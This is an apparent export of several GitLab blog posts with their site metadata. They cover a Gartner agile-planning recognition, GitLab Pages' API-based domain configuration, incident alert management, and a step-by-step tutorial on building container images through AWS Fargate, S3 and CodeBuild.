\nallows me the flexibility to still keep in contact with the project owners I worked with, and I am happy to continue to help them with the \nknowledge I have learned from doing this internship, and I cant wait to learn even more.  \n\nI believe that in the near future, we will be able to provide internships that can open more opportunities for GitLab team members to be \ninvolved with security type positions and raise interests in working in security.  I know that it is tough to extend a “shadowing” type \ninternship into the security field as there is more sensitive data being dealt with, but hopefully this internship will continue to be offered \nand grow to even higher possibilities.\n\nOverall, I am extremely happy that I was chosen to take part in this internship, and I would hope to work more with the team in the future.  I \nhave learned a lot and I look forward to using this knowledge to help others including team members and project owners.\n",[110,232,674],{"slug":22436,"featured":6,"template":678},"security-scan-experience","content:en-us:blog:security-scan-experience.yml","Security Scan Experience","en-us/blog/security-scan-experience.yml","en-us/blog/security-scan-experience",{"_path":22442,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22443,"content":22448,"config":22454,"_id":22456,"_type":16,"title":22457,"_source":17,"_file":22458,"_stem":22459,"_extension":20},"/en-us/blog/gitlab-named-visionary-in-gartner-agile-planning-magic-quadrant",{"title":22444,"description":22445,"ogTitle":22444,"ogDescription":22445,"noIndex":6,"ogImage":17364,"ogUrl":22446,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22446,"schema":22447},"Gartner names GitLab visionary in enterprise agile planning","For the second consecutive year, Gartner validates our product vision.","https://about.gitlab.com/blog/gitlab-named-visionary-in-gartner-agile-planning-magic-quadrant","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab named a Visionary in 2020 Gartner Magic Quadrant for Enterprise Agile Planning Tools\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cormac Foster\"}],\n        \"datePublished\": \"2020-08-03\",\n      }",{"title":22449,"description":22445,"authors":22450,"heroImage":17364,"date":22451,"body":22452,"category":736,"tags":22453},"GitLab named a Visionary in 2020 Gartner Magic Quadrant for Enterprise Agile Planning Tools",[16704],"2020-08-03","\nGitLab was recently named a 'Visionary' by Gartner in their 2020 Magic Quadrant for Enterprise Agile Planning Tools. We're pleased to be recognized once again, despite being a fairly new entrant into the space.\n\nAs we [build toward lovability](/direction/maturity/) over the next year, we're excited to be recognized by industry experts like Gartner. While we continue to increase our breadth and depth, we also plan to double down on the unique benefits our single-application approach provides.\n\nIn the video below, [Justin Farris](/company/team/#justinfarris), group manager of Plan, lays out the team's long-term vision, including our five [jobs to be done](/direction/dev/#plan-1):\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://www.youtube-nocookie.com/embed/bT60rJEoWhw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nWe recently released a suite of enhanced work planning and management features in [GitLab 13.2](/releases/2020/07/22/gitlab-13-2-released/), with a lot more to come. Over the next twelve months, we plan to focus on three core areas:\n\n### Building a world class Agile planning experience\n\n> \"Agile is the dominant means of creating software today because it enables organizations\n> to respond to change quickly, to learn rapidly, and to deliver continuously. Making use of\n> agile practices at scale is essential to digital business success.\" Gartner, Magic Quadrant\n> for Enterprise Agile Planning Tools\n\nWe agree. In its many forms, [Agile](/solutions/agile-delivery/) is the way forward for modern business. We can't be everything to everyone, and we don't want to recreate the same bloated project management solutions enterprises have been using for years. But we **do** want to be the best solution for managing Agile projects and portfolios that you can use to take your business forward.\n\nTo that end, we're focused on delivering solutions that help you elevate your Agile planning from project management to portfolio planning, regardless of industry or tool choice. We recently released a [requirements management](https://docs.gitlab.com/ee/user/project/requirements/) feature, which will open opportunities to use GitLab for entirely new businesses, and we launched a vastly improved [Jira import process](https://docs.gitlab.com/ee/user/project/import/jira.html) to make it easier to transition to a GitLab workflow. While we continue to iterate on both of those, we'll also be improving the overall management experience with easier-to-use Kanban boards, [enhanced portfolio and group roadmaps](https://docs.gitlab.com/ee/user/group/roadmap/), and more robust epics and milestones.\n\n### Visibility and value stream management\n\nOf course, you can't plan without data, so visibility is another key driver of our roadmap. [Value stream management](/solutions/value-stream-management/) is a hot topic these days. To many, it's a refocusing of decades-old [value stream mapping](https://en.wikipedia.org/wiki/Value-stream_mapping) techniques to the software development lifecycle, measuring value added throughout the software development process and identifying inefficiencies that might keep you from delivering more.\n\nMeasurement is an essential part of the process, but at GitLab, we can also help you close the loop and take action – the \"management\" of that value stream. As a single application for the [DevOps lifecycle](/topics/devops/), GitLab has the unique ability to help you discover process bottlenecks, drill into the sources of waste for the root cause, and actually make changes to address them, whether that's reassigning an MR, mentioning someone to unblock the issue, or committing code changes.\n\nIn recent releases, we unlocked more flexible value stream workflows with [customizable value stream analytics](https://docs.gitlab.com/ee/user/analytics/value_stream_analytics.html#customizable-value-stream-analytics) and surfaced value metrics to more personas with [compliance](https://docs.gitlab.com/ee/user/compliance/compliance_report/index.html) and [security dashboards](https://docs.gitlab.com/ee/user/application_security/security_dashboard/#instance-security-dashboard). In the coming months, we'll continue to enhance our drill-down reporting and resolution, focusing on additional value metrics, additional dashboards, and automated recommendations for action.\n\n### Our customers\n\nOf course, as happy as we are to be recognized by Gartner, our users are the most important source of product guidance. At GitLab, everyone can contribute, and we wouldn't be the same company without the active participation of our users. That's why we've made our [maturity plan](/direction/maturity/) and [product vision](/direction/#vision) public and open for comment. For more information about enterprise Agile Planning in the coming year, please read our [FY21 Plan](/direction/dev/#fy21-plan-whats-next-for-dev)—and let us know what you think!\n\n### Related links\n\n* [2020 Magic Quadrant for Enterprise Agile Planning Tools (available to Gartner subscribers)](https://www.gartner.com/document/3983813?ref=solrAll&refval=255086013)\n* [We're dogfooding a tool to help visualize high-level trends in GitLab projects](/blog/insights/)\n* [How Marketing uses GitLab to manage complex projects](/blog/gl-for-pm-prt-2/)\n\n_Gartner \"Magic Quadrant for Enterprise Agile Planning Tools,\" Keith Mann, et al, 21 April 2020\nGartner does not endorse any vendor, product or service depicted in its research publications and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s Research & Advisory organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose._\n",[1899,1444,676],{"slug":22455,"featured":6,"template":678},"gitlab-named-visionary-in-gartner-agile-planning-magic-quadrant","content:en-us:blog:gitlab-named-visionary-in-gartner-agile-planning-magic-quadrant.yml","Gitlab Named Visionary In Gartner Agile Planning Magic Quadrant","en-us/blog/gitlab-named-visionary-in-gartner-agile-planning-magic-quadrant.yml","en-us/blog/gitlab-named-visionary-in-gartner-agile-planning-magic-quadrant",{"_path":22461,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22462,"content":22468,"config":22473,"_id":22475,"_type":16,"title":22476,"_source":17,"_file":22477,"_stem":22478,"_extension":20},"/en-us/blog/how-gitlab-pages-uses-the-gitlab-api",{"title":22463,"description":22464,"ogTitle":22463,"ogDescription":22464,"noIndex":6,"ogImage":22465,"ogUrl":22466,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22466,"schema":22467},"How GitLab Pages uses the GitLab API to serve content","GitLab Pages is changing the way it reads a project's configuration to speed up booting times and slowly remove its dependency to NFS.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679634/Blog/Hero%20Images/retrosupply-jLwVAUtLOAQ-unsplash.jpg","https://about.gitlab.com/blog/how-gitlab-pages-uses-the-gitlab-api-to-serve-content","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab Pages uses the GitLab API to serve content\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jaime Martínez\"}],\n        \"datePublished\": \"2020-08-03\",\n      }",{"title":22463,"description":22464,"authors":22469,"heroImage":22465,"date":22451,"body":22471,"category":734,"tags":22472},[22470],"Jaime Martínez","\n\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2020-11-13.\n{: .alert .alert-info .note}\n\n[GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) allows you to create and host GitLab project websites from a user account or group for free on [GitLab.com](https://www.gitlab.com/) or on your self-managed GitLab instance.\n\nIn this post, I will explain how the [GitLab Pages daemon](https://gitlab.com/gitlab-org/gitlab-pages) obtains a domain's configuration using the\nGitLab API, specifically on [GitLab.com](https://www.gitlab.com/).\n\n## How does GitLab Pages know where to find your website files?\n\nGitLab Pages will use object storage to store the contents of your web site. You can follow the development of this new feature [here](https://gitlab.com/groups/gitlab-org/-/epics/3901).\n\nCurrently, GitLab Pages uses an NFS shared mount drive to store the contents of your website.\nYou can define the value of this path by defining the [`pages_path`](https://docs.gitlab.com/ee/administration/pages/#change-storage-path) in your `/etc/gitlab/gitlab.rb` file.\n\nWhen you deploy a website using the `pages:` keyword in your `.gitlab-ci.yml` file, a `public` path artifact must be defined, containing the files available for your website. This `public` artifact eventually makes its way into the NFS shared mount.\n\nWhen you deploy a website to GitLab Pages a domain will be created based on the [custom Pages domain you have configured](https://docs.gitlab.com/ee/administration/pages/#configuration). For [GitLab.com](https://www.gitlab.com/), the pages domain is `*.gitlab.io`, if you create a project named `myproject.gitlab.io` and enable HTTPS, a wildcard SSL certificate will be used.\nYou can also [setup a custom domain](https://docs.gitlab.com/ee/user/project/pages/custom_domains_ssl_tls_certification/) for your project, for example `myawesomedomain.com`.\n\nFor every project (aka domain) that is served by the Pages daemon, there must be a directory in the NFS shared mount that matches your domain name and holds its contents. For example, if we had a project named `myproject.gitlab.io`, the Pages daemon would look for your `.html` files under `/path/to/shared/pages/myproject/myproject.gitlab.io/public` directory.\nThis is how GitLab Pages serves the content published by the `pages:` keyword in your CI configuration.\n\nBefore [GitLab 12.10](/releases/2020/04/22/gitlab-12-10-released/) was released, the Pages daemon would rely on a file named `config.json` located in your project's directory in the NFS shared mount, that is `/path/to/shared/pages/myproject/myproject.gitlab.io/config.json`.\nThis file contains metadata related to your project and [custom domain names](https://docs.gitlab.com/ee/user/project/pages) you may have setup.\n\n```json\n{\n  \"domains\":[\n    {\n      \"Domain\":\"myproject.gitlab.io\"\n    },\n    {\n      \"Domain\": \"mycustomdomain.com\",\n      \"Certificate\": \"--certificate contents--\",\n      \"Key\": \"--key contents--\"\n    }\n  ],\n  \"id\":123,\n  \"access_control\":true,\n  \"https_only\":true\n}\n```\nGitLab Pages has been a very popular addition to GitLab, and the number of hosted websites on GitLab.com has increased over time. We are currently hosting over 251,000 websites!\nOn start-up, the Pages daemon would [traverse all directories](https://gitlab.com/gitlab-org/gitlab-pages/-/blob/v1.21.0/app.go#L448) in the NFS shared mount and load the configuration of all the deployed Pages projects into memory.\nBefore 09-19-2019, the Pages daemon would take [approximately 25 minutes to be ready to serve requests](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/252) per instance on GitLab.com.\nAfter upgrading GitLab Pages to version [`v1.9.0`](https://gitlab.com/gitlab-org/gitlab-pages/-/merge_requests/185), there were some improvements in some dependencies that reduced booting time to approximately five minutes. This was great but not ideal.\n\n## GitLab API-based configuration\n\nAPI-based configuration was [introduced](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/282) in GitLab 12.10.\nWith API-based configuration, the daemon will start serving content in just a few seconds after booting.\nFor example, for a particular Pages node on GitLab.com, it usually is ready to serve content within one minute after starting.\n\nOn [GitLab.com](https://www.gitlab.com/), the Pages daemon now sources the domain configuration via an internal API endpoint\n`/api/v4/internal/pages?domain=myproject.gitlab.io`.\nThis is done on demand per domain and the configuration is cached in memory for a certain period of time to speed up serving content from that Pages node.\n\nThe response from the API is very similar to the contents of the `config.json` file:\n\n```json\n{\n    \"certificate\": \"--cert-contents--\",\n    \"key\": \"--key-contents--\",\n    \"lookup_paths\": [\n        {\n            \"access_control\": true,\n            \"https_only\": true,\n            \"prefix\": \"/\",\n            \"project_id\": 123,\n            \"source\": {\n                \"path\": \"myproject/myproject.gitlab.io/public/\",\n                \"type\": \"file\"\n            }\n        }\n    ]\n}\n```\n\nYou can see that the source type is `file`. This means that the Pages daemon will still serve the contents from the NFS shared mount. We are actively working on removing the NFS dependency from GitLab Pages by [updating the GitLab Pages architecture](https://gitlab.com/groups/gitlab-org/-/epics/1316).\n\nWe are planning to [transition GitLab pages to object storage instead of NFS](https://gitlab.com/groups/gitlab-org/-/epics/3901). This will essentially [enable GitLab Pages to run on Kubernetes](https://gitlab.com/gitlab-org/gitlab/-/issues/39586) in the future.\n\n**Update**:\nWe have now [rolled out zip source type on GitLab.com](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/2808). This is behavior is behind feature flag and it's not the final implementation.\nAs of 10-22-2020 we serve about 75% of Pages projects from zip and object storage and we're getting closer to removing the NFS dependency!\n\n## Self-managed GitLab instances\n\nThe changes to the GitLab Pages architecture were piloted on GitLab.com, which is possibly the largest GitLab Pages implementation.\nOnce all the changes supporting the move to an API-based configuration are completed, they will be rolled out to self-managed customers.\nYou can find more details and the issues we faced while rolling out API-based configuration in this [issue](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/282).\n\nIf you can't wait to speed up your Pages nodes startup, we have a potential guide in this [issue description](https://gitlab.com/gitlab-org/gitlab/-/issues/28298#potential-workaround) which explains how we enabled the API on GitLab.com. However, this method will be removed in the near future.\n\n**Update**:\nYou can now enable API-based configuration by following [this guide](https://docs.gitlab.com/ee/administration/pages/#gitlab-api-based-configuration).\n\n## Domain source configuration and API status\n\nIn the meantime, we are working toward adding [a new configuration flag for GitLab Pages](https://gitlab.com/gitlab-org/gitlab/-/issues/217912) which will allow you to choose the domain configuration source by specifying `domain_config_source` in your `/etc/gitlab/gitlab.rb` file.\nBy default, GitLab Pages will use the `disk` source configuration the same way is used today.\n\nIn the background, the Pages daemon will start [checking the API status](https://gitlab.com/gitlab-org/gitlab-pages/-/merge_requests/304) by calling the `/api/v4/internal/pages/status` endpoint. This will help you check if the Pages daemon is ready to talk to the GitLab API, especially when you are [running Pages on a separate server](https://docs.gitlab.com/ee/administration/pages/#running-gitlab-pages-on-a-separate-server).\n\nPlease check the [GitLab Pages adminstration guide](https://docs.gitlab.com/ee/administration/pages/#troubleshooting) for further troubleshooting.\n\n\u003C!-- image: image-url -->\nCover image by [@RetroSupply](https://unsplash.com/@retrosupply) on [Unsplash](https://unsplash.com/photos/jLwVAUtLOAQ)\n{: .note}\n",[676,2509],{"slug":22474,"featured":6,"template":678},"how-gitlab-pages-uses-the-gitlab-api","content:en-us:blog:how-gitlab-pages-uses-the-gitlab-api.yml","How Gitlab Pages Uses The Gitlab Api","en-us/blog/how-gitlab-pages-uses-the-gitlab-api.yml","en-us/blog/how-gitlab-pages-uses-the-gitlab-api",{"_path":22480,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22481,"content":22487,"config":22491,"_id":22493,"_type":16,"title":22494,"_source":17,"_file":22495,"_stem":22496,"_extension":20},"/en-us/blog/manage-it-alerts-with-gitlab",{"title":22482,"description":22483,"ogTitle":22482,"ogDescription":22483,"noIndex":6,"ogImage":22484,"ogUrl":22485,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22485,"schema":22486},"How we manage IT Alerts in GitLab","Triaging alerts just got easier with GitLab because you can investigate and remediate outages in a single tool.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681461/Blog/Hero%20Images/manage-it-alerts-in-gitlab.png","https://about.gitlab.com/blog/manage-it-alerts-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we manage IT Alerts in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sarah Waldner\"}],\n        \"datePublished\": \"2020-08-03\",\n      }",{"title":22482,"description":22483,"authors":22488,"heroImage":22484,"date":22451,"body":22489,"category":736,"tags":22490},[10093],"\n\nIt’s 2 a.m. Monday morning.\n\nYour phone screen lights up and buzzes. Lo and behold, the alert is serious and there is likely a severe incident ongoing with your service.\n\nYou check Slack to see if anyone else is involved. Next, you log into your monitoring tool to review the alert and do a quick triage hoping that the cause and solution are straightforward. The next 30 minutes are spent frantically bouncing around between five to six different tools, digging for clues in metrics, events, traces, logs, and release tools, hoping you can correlate a recent deployment to the incident. After another team member finally joins the firefight, you spend precious time getting them up to speed. After that, your boss calls. At this time, an hour has passed, you are no closer to the root cause.\n\nDoes this situation sound familiar?\n\nThere are so many jobs to be done during an incident: Communicating using multiple channels, facilitating collaboration, documenting findings and the timeline, and assessing metrics, logs, traces, and errors to diagnose problems. This process can be manual, time-consuming, and stressful for incident responders.\n\nWouldn’t it be great if most of this is automated and centralized in one place?\n\nEnter, GitLab alert and incident management\n\nOur vision is to free up more time for incident responders to actually respond to incidents by automating resource management, communications, correlating observability data and metadata, and executing runbooks. Since GitLab is a single app for your entire [DevOps](/topics/devops/) lifecycle, the bonus of using GitLab to triage IT alerts and manage incidents is that you are doing so in the same tool you are already using - everything is colocated to help you remediate problems faster.\n\n## What can I do today?\n\nWe are in the midst of building an Operations Command Center where you can investigate, respond to, and remediate IT incidents all in one interface.\n\nAvailable today, GitLab includes the following highlighted functionality:\n\n- Aggregate IT alerts in a single interface (GitLab) via our [generic webhook receiver](https://docs.gitlab.com/ee/operations/incident_management/integrations.html)\n- Triage multiple alerts in a [list view](https://docs.gitlab.com/ee/operations/incident_management/alerts.html)\n- Indicate ownership of critical alerts by [changing the status](https://docs.gitlab.com/ee/operations/incident_management/alerts.html)\n- Delegate responsibility by [assigning alerts](https://docs.gitlab.com/ee/operations/incident_management/alerts.html#assign-an-alert)\n- Promote alerts to incidents by [creating GitLab issues](https://docs.gitlab.com/ee/operations/incident_management/alerts.html#create-an-incident-from-an-alert)\n- [Investigate the metrics](https://docs.gitlab.com/ee/operations/incident_management/alerts.html#metrics-tab) directly in the alert\n\n## What is coming soon?\n\nAlert and incident management tools are the main focus of the [Health group](/handbook/engineering/development/ops/monitor/respond/) within the [Monitor stage](/direction/monitor/). In the next few milestones, we anticipate releasing:\n\n- Embedded [logs](https://gitlab.com/gitlab-org/gitlab/-/issues/231395) for GitLab Alerts\n- Linked [runbooks in alerts](https://gitlab.com/groups/gitlab-org/-/epics/1436)\n- A custom [integration builder](https://gitlab.com/gitlab-org/gitlab/-/issues/217766) to integrate any alerting source with GitLab\n- An [incident dashboard](https://gitlab.com/gitlab-org/gitlab/-/issues/219542) to manage active outages\n\n## We want to hear from you!\nAs per usual, we, at GitLab, listen closely to our community and we like to give you direct access to the ideas we are considering for our product. If you want to contribute to building [Incident Management](https://gitlab.com/groups/gitlab-org/-/epics/349) tools, please check out the linked epic to see what we have in the near-term. We love your feedback and we would love to receive your merge requests even more.\n\n## Read more about our monitoring tools:\n\n- [Why we scoped down to build up error tracking](/blog/iteration-on-error-tracking/)\n- [How application performance metrics helps developers](/blog/working-with-performance-metrics/)\n- [Understand incident management with GitLab](/blog/incident-management-with-gitlab/)\n",[4103,754],{"slug":22492,"featured":6,"template":678},"manage-it-alerts-with-gitlab","content:en-us:blog:manage-it-alerts-with-gitlab.yml","Manage It Alerts With Gitlab","en-us/blog/manage-it-alerts-with-gitlab.yml","en-us/blog/manage-it-alerts-with-gitlab",{"_path":22498,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22499,"content":22504,"config":22510,"_id":22512,"_type":16,"title":22513,"_source":17,"_file":22514,"_stem":22515,"_extension":20},"/en-us/blog/aws-fargate-codebuild-build-containers-gitlab-runner",{"title":22500,"description":22501,"ogTitle":22500,"ogDescription":22501,"noIndex":6,"ogImage":22049,"ogUrl":22502,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22502,"schema":22503},"Building containers with GitLab Runner & AWS Fargate executor","Build containers with the AWS Fargate Custom Executor for GitLab Runner and AWS CodeBuild","https://about.gitlab.com/blog/aws-fargate-codebuild-build-containers-gitlab-runner","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to build containers with the AWS Fargate Custom Executor for GitLab Runner and AWS CodeBuild\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Elliot Rushton\"}],\n        \"datePublished\": \"2020-07-31\",\n      }",{"title":22505,"description":22501,"authors":22506,"heroImage":22049,"date":22507,"body":22508,"category":734,"tags":22509},"How to build containers with the AWS Fargate Custom Executor for GitLab Runner and AWS CodeBuild",[18160],"2020-07-31","\n\nAWS Fargate does not allow containers to run in privileged mode. This means Docker-in-Docker (DinD), which enables the building and running of container images inside of containers, does not work with the [AWS Fargate Custom Executor driver for GitLab Runner](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/fargate). The good news is that users don't have to be blocked by this and may use a cloud-native approach to build containers, effectively leveraging a seamless integration with AWS CodeBuild in the [CI/CD pipeline](/topics/ci-cd/).\n\nWe provide in-depth instructions on how to autoscale GitLab CI on AWS Fargate in [GitLab Runner's documentation](https://docs.gitlab.com/runner/configuration/runner_autoscale_aws_fargate/index.html). In this blog post, we explain how to instrument CI containers and source repositories to trigger AWS CodeBuild and use it to build container images.\n\n## Architecture overview\n\n![AWS Fargate + CodeBuild: a cloud-native approach to build containers with GitLab Runner](https://about.gitlab.com/images/blogimages/build-container-image-runner-fargate-codebuild.png)\nHow distinct CI workloads run on Fargate.\n{: .note.text-center}\n\nThe picture above illustrates distinct GitLab CI workloads running on Fargate. The container identified by `ci-coordinator (001)` is running a typical CI job which does not build containers, so it does not require additional configuration or dependencies. The second container, `ci-coordinator (002)`, illustrates the problem to be tackled in this post: The CI container includes the AWS CLI in order to send content to an Amazon S3 Bucket, trigger the AWS CodeBuild job, and fetch logs.\n\n## Prerequisites\n\nOnce these prerequisites are configured, you can dive into the six-step process to configure CI containers and source repositories to trigger AWS CodeBuild and use it to build container images.\n\n- The [AWS Fargate Custom Executor driver for GitLab Runner](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/fargate) must be set-up appropriately.\n- Ensure the AWS IAM user permissions include the ability to create and configure S3 and CodeBuild resources.\n- AWS IAM user or service role with permissions to upload files to S3, start CodeBuild jobs, and read CloudWatch Logs.\n- AWS IAM user with permissions to create and configure IAM Policies and Users.\n\n## Step 1: Create an AWS S3 bucket\n\n1. In the top menu of [AWS Management Console](https://aws.amazon.com/console/) click Services.\n1. In the Storage section, select `S3`.\n1. Click `Create bucket`.\n1. Choose a descriptive name (`ci-container-build-bucket` will be used as example) and select your preferred region.\n1. Leave all other fields with default values and click `Create bucket`.\n1. In the Buckets list, click the name of the bucket you created.\n1. Click `Create folder`.\n1. Give it the `gitlab-runner-builds` name.\n1. Click `Save`.\n\n## Step 2: Create an AWS CodeBuild Project\n\n1. Using the AWS Console, click `Services` in the top menu\n1. Select `CodeBuild` in the Developer Tools section\n1. Click `Create build project`\n1. In `Project Name` enter `ci-container-build-project`\n1. In `Source provider` select `Amazon S3`\n1. In `Bucket` select the `ci-container-build-bucket` created in step one\n1. In S3 object key or S3 folder enter `gitlab-runner-builds/build.zip`\n1. In `Environment image`, select `Managed image`\n1. For `Operating system` select your preferred OS from the available options\n1. For `Runtime(s)`, choose `Standard`.\n1. For `Image`, select `aws/codebuild/standard:4.0`\n1. For `Image version`, select `Always use the latest image for this runtime version`\n1. For `Environment type` select `Linux`\n1. Check the `Privileged` flag\n1. For the `Service role` select `New service role` and note the sugggested `Role name`\n1. For `Build specifications` select `Use a buildspec file`\n1. Scroll down to the bottom of the page and click \"Create build project\"\n\n## Step 3: Build the CI container image\n\nAs stated in Autoscaling GitLab CI on AWS Fargate, a [custom container is required](https://docs.gitlab.com/runner/configuration/runner_autoscale_aws_fargate/index.html#step-1-prepare-a-base-container-image-for-the-aws-fargate-task) to run GitLab CI jobs on Fargate. Since the solution relies on communicating with S3 and CodeBuild, you'll need to [have the AWS CLI tool](https://docs.aws.amazon.com/cli/latest/userguide/install-cliv2.html) available in the CI container.\n\nInstall the `zip` tool to make S3 communication smoother. As an example of a Ubuntu-based container, the lines below must be added to the CI container's `Dockerfile`:\n\n```dockerfile\nRUN apt-get update -qq -y \\\n    && apt-get install -qq -y curl unzip zip \\\n    && curl -Lo awscliv2.zip https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip \\\n    && unzip awscliv2.zip \\\n    && ./aws/install\n```\n\n## Step 4: Add CodeBuild configuration to the repository\n\nBy default, CodeBuild looks for a file named `buildspec.yml` in the build source. This file will instruct CodeBuild on how to build and publish the resulting container image. Create this file with the content below and commit it to the git repository (_if you changed the **Buildspec name** when configuring the CodeBuild project [in Step 2](#buildspec), please create the file accordingly_):\n\n```yaml\nversion: 0.2\n\nphases:\n  install:\n    commands:\n      - nohup /usr/local/bin/dockerd --host=unix:///var/run/docker.sock --host=tcp://127.0.0.1:2375 --storage-driver=overlay2&\n      - timeout 15 sh -c \"until docker info; do echo .; sleep 1; done\"\n  build:\n    commands:\n      - echo Build started on `date`\n      - docker -v\n      - docker build -t \u003CIMAGE-TAG> .\n      - echo Build completed on `date`\n```\n\n## Step 5: Set up the GitLab CI job\n\nNow we will set up the GitLab CI job that will pull everything together.\n\n### Interacting with CodeBuild through the AWS CLI\n\nThe CI job will need to interact with AWS Cloud to start CodeBuild jobs, poll the status of the jobs, and fetch logs. Commands such as `aws codebuild` and `aws logs` help to tackle this, so let's use them in a script, `codebuild.sh`:\n\n```bash\n#!/bin/bash\n\nbuild_project=ci-container-build-project\nbuild_id=$(aws codebuild start-build --project-name $build_project --query 'build.id' --output text)\nbuild_status=$(aws codebuild batch-get-builds --ids $build_id --query 'builds[].buildStatus' --output text)\n\nwhile [ $build_status == \"IN_PROGRESS\" ]\ndo\n    sleep 10\n    build_status=$(aws codebuild batch-get-builds --ids $build_id --query 'builds[].buildStatus' --output text)\ndone\n\nstream_name=$(aws codebuild batch-get-builds --ids $build_id --query 'builds[].logs.streamName' --output text)\ngroup_name=$(aws codebuild batch-get-builds --ids $build_id --query 'builds[].logs.groupName' --output text)\n\naws logs get-log-events --log-stream-name $stream_name --log-group-name $group_name --query 'events[].message' --output text\necho Codebuild completed with status $build_status\n```\n\n### Add a job to build the resulting container\n\nOnce the steps one through five are complete, the source repository will be structured as follows:\n\n```plaintext\n/sample-repository\n  ├── .gitlab-ci.yml\n  ├── buildspec.yml\n  ├── codebuild.sh\n  ├── Dockerfile\n  ├── \u003CAPPLICATION-FILES>\n```\n\nThe final step to build the container is to add a job to `.gitlab-ci.yml`:\n\n```yaml\ndockerbuild:\n  stage: deploy\n  script:\n    - zip build.zip buildspec.yml Dockerfile \u003CAPPLICATION-FILES>\n    - aws configure set default.region \u003CREGION>\n    - aws s3 cp build.zip s3://ci-container-build-bucket/gitlab-runner-builds/build.zip\n    - bash codebuild.sh\n```\n\nBelow are some definitions from terms in the script:\n\n- `\u003CAPPLICATION-FILES>` is a placeholder for the files that will be required to successfully build the resulting container image using the `Dockerfile`, e.g., `package.json` and `app.js` in a Node.js application\n- `Dockerfile` is used to build the resulting image. _Note: It is not the same file used to build the CI container image, mentioned in [Step 3: Build the CI container image](#step-3-build-the-ci-container-image)_\n- Zip and AWS CLI must be installed in the CI container to make the script work – refer to [Step 3: Build the CI container image](#step-3-build-the-ci-container-image) for details\n\n## Step 6: Set up AWS credentials\n\nThe final step is to set up the AWS credentials. As we already mentioned, the CI job will interact with AWS through the AWS CLI to perform a number of operations, and to do that, the AWS CLI needs to authenticate as an IAM user with the permissions listed below. We recommend you create a new user and grant it minimal privileges instead of using your personal AWS user account. For the sake of simplicity, we suggest this approach to complete this walk-through guide.\n\nThis AWS user only needs programmatic access and do not forget to make note of its Access key ID and Secret access key – they will be needed later. A simple way to grant only the minimal privileges for the new user is to create a customer managed policy since it can be directly attached to the user. A group might also be used to grant the same privileges for more users, but it is not mandatory for running the sample workflow.\n\n- S3\n\n  ```json\n  {\n    \"Effect\": \"Allow\",\n    \"Action\": \"s3:PutObject\",\n    \"Resource\": \"arn:aws:s3:::ci-container-build-bucket/gitlab-runner-builds/*\"\n  }\n  ```\n\n- CodeBuild\n\n  ```json\n  {\n    \"Effect\": \"Allow\",\n    \"Action\": [\"codebuild:StartBuild\", \"codebuild:BatchGetBuilds\"],\n    \"Resource\": \"arn:aws:codebuild:\u003CREGION>:\u003CACCOUNT-ID>:project/ci-container-build-project\"\n  }\n  ```\n\n- CloudWatch Logs\n\n  ```json\n  {\n    \"Effect\": \"Allow\",\n    \"Action\": \"logs:GetLogEvents\",\n    \"Resource\": \"arn:aws:logs:\u003CREGION>:\u003CACCOUNT-ID>:log-group:/aws/codebuild/ci-container-build-project:log-stream:*\"\n  }\n  ```\n\nThe access credentials can be provided to AWS CLI through GitLab CI environment variables. Please go to your GitLab Project's **CI/CD Settings**, click **Expand** in the **Variables** section, add `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` with the values you got from the AWS Management Console after creating the IAM user. See the image below for the result you can expect:\n\n![Providing AWS credentials for GitLab Runner](https://about.gitlab.com/images/blogimages/build-container-image-runner-fargate-codebuild-credentials.png)\n\nUsing an IAM Role and [Amazon ECS temporary/unique security credentials](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html) is also possible, but not covered in this tutorial.\n{: .note.text-center}\n\n## Step 7: It's showtime\n\nWith all configurations in place, commit the changes and trigger a new pipeline to watch the magic happen!\n\n### Just need the highlights?\n\n1. The CI job script added in [Step 5](#add-a-job-to-build-the-resulting-container) compresses the resulting container image build files into `build.zip`\n1. `build.zip` is then uploaded to the S3 Bucket we created in [Step 1: Create an Amazon S3 Bucket](#step-1-create-an-amazon-s3-bucket)\n1. Next, `codebuild.sh` starts a CodeBuild job based on the project created in [Step 2: Create an AWS CodeBuild Project](#step-2-create-an-aws-codebuild-project) (Note: that project has an S3 object as its source provider)\n1. Finally, the CodeBuild job downloads `gitlab-runner-builds/build.zip` from S3, decompresses it and – from `buildspec.yml`– builds the resulting container image\n\nA sample repository, demonstrating everything described in the article is available 